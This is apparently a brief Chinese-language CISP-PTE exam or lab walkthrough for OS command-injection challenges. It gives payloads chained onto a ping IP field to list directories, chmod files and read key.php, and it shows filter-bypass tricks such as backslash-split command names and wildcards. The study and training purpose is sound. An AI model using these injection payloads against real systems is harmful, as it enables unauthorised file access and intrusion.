2022 CISP-PTE(三)命令执行

一、第一道

1、题目环境

2、拿key

2.1、获取目录

127.0.0.1 | ls

127.0.0.1 | ls ../

2.2、读取文件

常用命令执行函数：
system("ls");
eval、exec

linux读文件： cat、tac、less、more、head、tail
ca\t、ca''t、cat""t

如果对key.php做了过滤：
key.*  k{
    e}y.php k?y.php

127.0.0.1 | c\at ../key.php

127.0.0.1 | t\ac ../key.php

第二道

1、题目环境

2、解题步骤

2.1 获取目录

2.2 提升权限

127.0.0.1 & l\s -al ../key.*
127.0.0.1 & chmo\d 777 ../key.*
127.0.0.1 & l\s -al ../key.*

2.3 获取key

127.0.0.1 & t\ac ../key.*

三、第三道

1、题目环境

2、解题步骤

第四道

1、题目环境

2、解题步骤

2.1、ls

2.2、获取key

http://81.70.245.6:50289?c=cat flag.php;